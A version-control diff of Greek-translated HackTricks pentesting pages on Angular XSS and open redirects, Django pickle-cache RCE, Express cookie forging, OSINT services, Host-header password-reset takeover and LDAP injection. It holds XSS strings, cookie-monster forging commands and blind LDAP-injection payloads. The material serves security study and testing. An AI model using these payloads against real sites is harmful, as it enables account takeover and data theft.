Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars.
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως οι Pug και Handlebars.
### XSS
@ -292,7 +294,7 @@ document.body.appendChild(a);
```
#### Angular classes
Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει ένα επίπεδο αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει μια στρώση αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
* `ElementRef` περιέχει την ιδιότητα `nativeElement`, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του `nativeElement` μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω:
@ -375,9 +377,9 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
#### jQuery
Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.
Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την χειρισμό των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.
* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών `<script>` ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την έγχυση `<script>` ετικετών ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
```tsx
//app.component.ts
@ -410,7 +412,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στην HTML. Η μέθοδος `jQuery.parseHTML()` δεν εκτελεί σενάρια στην αναλυθείσα HTML εκτός αν το `keepScripts` είναι ρητά `true`. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα; για παράδειγμα, μέσω του χαρακτηριστικού `<img onerror>`.
Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στο HTML. Η μέθοδος `jQuery.parseHTML()` δεν εκτελεί σενάρια στο αναλυθέν HTML εκτός αν το `keepScripts` είναι ρητά `true`. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα, για παράδειγμα, μέσω του χαρακτηριστικού `<img onerror>`.
```tsx
//app.component.ts
@ -450,7 +452,7 @@ $palias.append(html);
* `window.location.href`(και `document.location.href`)
Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το `window.location`. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου αυτού του αντικειμένου μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης.
Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το `window.location`. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου σε αυτό το αντικείμενο μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης.
```tsx
//app.component.ts
@ -465,7 +467,7 @@ window.location.href = "https://google.com/about"
<button type="button" (click)="goToUrl()">Click me!</button>
```
Η διαδικασία εκμετάλλευσης είναι πανομοιότυπη για τα παρακάτω σενάρια.
Η διαδικασία εκμετάλλευσης είναι ταυτόσημη για τα παρακάτω σενάρια.
* `window.location.assign()`(και `document.location.assign()`)
Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης.
@ -481,9 +483,9 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(και `document.location.replace()`)
Αυτή η μέθοδος αντικαθιστά την τρέχουσα πηγή με αυτήν που βρίσκεται στη διεύθυνση URL που παρέχεται.
Αυτή η μέθοδος αντικαθιστά τον τρέχοντα πόρο με αυτόν στη δεδομένη διεύθυνση URL.
Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στο ιστορικό της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.
Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.
```tsx
//app.component.ts
@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει την πηγή που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία να ενεργοποιηθεί μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
```tsx
//app.component.ts
@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank")
#### Angular classes
* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:
* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατή η χρήση κοινών διαδρόμων για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:
```tsx
//app.component.ts
@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL του περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
```tsx
//app.component.ts
@ -558,7 +560,7 @@ console.log(this.location.go("http://google.com/about"));
```
Αποτέλεσμα: `http://localhost:4200/http://google.com/about`
* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή:
* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή:
```jsx
//app-routing.module.ts
@ -568,7 +570,7 @@ const routes: Routes = [
Αποτέλεσμα: `http://localhost:4200/https:`
Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα:
Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του τομέα:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,12 @@
# Django
{{#include /banners/hacktricks-training.md}}
## Manipulation Cache για RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστη είσοδος αποσυμπιεστεί](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε διακομιστή Redis ή βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση.
Αυτή η αναφορά HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436
{{#include /banners/hacktricks-training.md}}

View File

@ -1 +0,0 @@
# GWT - Google Web Toolkit

View File

@ -1,10 +1,12 @@
# NodeJS Express
{{#include /banners/hacktricks-training.md}}
## Υπογραφή Cookie
Το εργαλείο [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) είναι μια χρησιμότητα για την αυτοματοποίηση της δοκιμής και της επαναϋπογραφής των μυστικών cookie του Express.js.
### Ενιαίος cookie με συγκεκριμένο όνομα
### Ενιαίο cookie με συγκεκριμένο όνομα
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```
@ -12,18 +14,18 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```
### Δοκιμάστε πολλαπλά cookies χρησιμοποιώντας τη λειτουργία batch
### Δοκιμή πολλαπλών cookies χρησιμοποιώντας τη λειτουργία παρτίδας
```bash
cookie-monster -b -f cookies.json
```
### Δοκιμάστε πολλαπλά cookies χρησιμοποιώντας τη λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων
### Δοκιμή πολλαπλών cookies χρησιμοποιώντας λειτουργία batch με μια προσαρμοσμένη λίστα λέξεων
```bash
cookie-monster -b -f cookies.json -w custom.lst
```
### Κωδικοποιήστε και υπογράψτε ένα νέο cookie
### Encode and sign a new cookie
Αν γνωρίζετε το μυστικό, μπορείτε να υπογράψετε το cookie.
```bash
cookie-monster -e -f new_cookie.json -k secret
```
{{#include /banners/hacktricks-training.md}}

View File

@ -1,121 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# [ProjectHoneypot](https://www.projecthoneypot.org/)
Μπορείτε να ρωτήσετε αν μια διεύθυνση IP σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Εντελώς δωρεάν.
# [**BotScout**](http://botscout.com/api.htm)
Ελέγξτε αν η διεύθυνση IP σχετίζεται με ένα bot που καταχωρεί λογαριασμούς. Μπορεί επίσης να ελέγξει ονόματα χρηστών και emails. Αρχικά δωρεάν.
# [Hunter](https://hunter.io/)
Βρείτε και επαληθεύστε emails.
Ορισμένα δωρεάν API requests, για περισσότερα χρειάζεται να πληρώσετε.
Εμπορικό;
# [AlientVault](https://otx.alienvault.com/api)
Βρείτε κακόβουλες δραστηριότητες που σχετίζονται με IPs και Domains. Δωρεάν.
# [Clearbit](https://dashboard.clearbit.com/)
Βρείτε σχετικά προσωπικά δεδομένα με ένα email \(προφίλ σε άλλες πλατφόρμες\), domain \(βασικές πληροφορίες εταιρείας, emails και άτομα που εργάζονται\) και εταιρείες \(λάβετε πληροφορίες εταιρείας από email\).
Πρέπει να πληρώσετε για να αποκτήσετε πρόσβαση σε όλες τις δυνατότητες.
Εμπορικό;
# [BuiltWith](https://builtwith.com/)
Τεχνολογίες που χρησιμοποιούνται από ιστοσελίδες. Ακριβό...
Εμπορικό;
# [Fraudguard](https://fraudguard.io/)
Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API.
Εμπορικό;
# [FortiGuard](https://fortiguard.com/)
Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API.
# [SpamCop](https://www.spamcop.net/)
Δείχνει αν ο host σχετίζεται με δραστηριότητα spam. Έχει κάποια δωρεάν πρόσβαση API.
# [mywot](https://www.mywot.com/)
Βασισμένο σε απόψεις και άλλες μετρήσεις, ελέγξτε αν ένα domain σχετίζεται με ύποπτες/κακόβουλες πληροφορίες.
# [ipinfo](https://ipinfo.io/)
Αποκτά βασικές πληροφορίες από μια διεύθυνση IP. Μπορείτε να δοκιμάσετε έως 100K/μήνα.
# [securitytrails](https://securitytrails.com/app/account)
Αυτή η πλατφόρμα παρέχει πληροφορίες σχετικά με domains και διευθύνσεις IP, όπως domains μέσα σε μια IP ή μέσα σε έναν server domain, domains που ανήκουν σε ένα email \(βρείτε σχετικά domains\), ιστορικό IP των domains \(βρείτε τον host πίσω από το CloudFlare\), όλα τα domains που χρησιμοποιούν έναν nameserver....
Έχετε κάποια δωρεάν πρόσβαση.
# [fullcontact](https://www.fullcontact.com/)
Επιτρέπει την αναζήτηση με email, domain ή όνομα εταιρείας και την ανάκτηση σχετικών "προσωπικών" πληροφοριών. Μπορεί επίσης να επαληθεύσει emails. Υπάρχει κάποια δωρεάν πρόσβαση.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
Πολλές πληροφορίες από domains και IPs ακόμη και στην δωρεάν/κοινότητα έκδοση.
# [\_IntelligenceX](https://intelx.io/)
Αναζητήστε Domains, IPs και emails και αποκτήστε πληροφορίες από dumps. Έχει κάποια δωρεάν πρόσβαση.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
Αναζητήστε με IP και συγκεντρώστε πληροφορίες σχετικές με ύποπτες δραστηριότητες. Υπάρχει κάποια δωρεάν πρόσβαση.
# [Greynoise](https://viz.greynoise.io/)
Αναζητήστε με IP ή εύρος IP και αποκτήστε πληροφορίες σχετικά με IPs που σκανάρουν το Διαδίκτυο. 15 ημέρες δωρεάν πρόσβαση.
# [Shodan](https://www.shodan.io/)
Αποκτήστε πληροφορίες σάρωσης μιας διεύθυνσης IP. Έχει κάποια δωρεάν πρόσβαση API.
# [Censys](https://censys.io/)
Πολύ παρόμοιο με το shodan
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
Βρείτε ανοιχτά S3 buckets αναζητώντας με λέξη-κλειδί.
# [Dehashed](https://www.dehashed.com/data)
Βρείτε διαρρεύσαντα διαπιστευτήρια emails και ακόμη και domains
Εμπορικό;
# [psbdmp](https://psbdmp.ws/)
Αναζητήστε pastebins όπου εμφανίστηκε ένα email. Εμπορικό;
# [emailrep.io](https://emailrep.io/key)
Αποκτήστε φήμη ενός email. Εμπορικό;
# [ghostproject](https://ghostproject.fr/)
Αποκτήστε κωδικούς πρόσβασης από διαρρεύσαντα emails. Εμπορικό;
# [Binaryedge](https://www.binaryedge.io/)
Αποκτήστε ενδιαφέρουσες πληροφορίες από IPs
# [haveibeenpwned](https://haveibeenpwned.com/)
Αναζητήστε με domain και email και δείτε αν έχει παραβιαστεί και κωδικούς πρόσβασης. Εμπορικό;
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(σε ένα εμπορικό εργαλείο;\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(σε ένα εμπορικό εργαλείο;\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(σε ένα εμπορικό εργαλείο;\)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
# Άλλες Τεχνικές Ιστού
{{#include ./banners/hacktricks-training.md}}
### Header Host
Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**.
### Boolean συνεδρίας
Ορισμένες φορές, όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\
Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Λειτουργία εγγραφής
Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode).
### Κατάληψη email
Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό.
### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Μέθοδος TRACE
Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών επικεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}
### Same-Site Scripting
Συμβαίνει όταν συναντάμε ένα domain ή υποdomain που επιλύεται σε localhost ή 127.0.0.1 λόγω ορισμένων λανθασμένων ρυθμίσεων DNS. Επιτρέπει σε έναν επιτιθέμενο να παρακάμψει τους περιορισμούς της RFC2109 (HTTP State Management Mechanism) για την ίδια προέλευση και επομένως να καταλάβει τα δεδομένα διαχείρισης κατάστασης. Μπορεί επίσης να επιτρέψει cross-site scripting. Μπορείτε να διαβάσετε περισσότερα γι' αυτό από [εδώ](https://seclists.org/bugtraq/2008/Jan/270)

View File

@ -1,9 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
**Ερευνήστε περισσότερα σχετικά με επιθέσεις στο DNS**
**DNSSEC και DNSSEC3**
**DNS στο IPv6**
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,7 +1,5 @@
# LDAP Injection
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
@ -14,7 +12,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων.
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων.
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@ -121,7 +119,7 @@ password=any
### Blind LDAP Injection
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -135,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Dump data
Μπορείτε να επαναλάβετε τα γράμματα ascii, τους αριθμούς και τα σύμβολα:
Μπορείτε να επαναλάβετε τα γράμματα ascii, τους ψηφιακούς χαρακτήρες και τα σύμβολα:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO

View File

@ -1,13 +1,10 @@
# Parameter Pollution | JSON Injection
## Parameter Pollution
{{#include ../banners/hacktricks-training.md}}
## HTTP Parameter Pollution (HPP) Overview
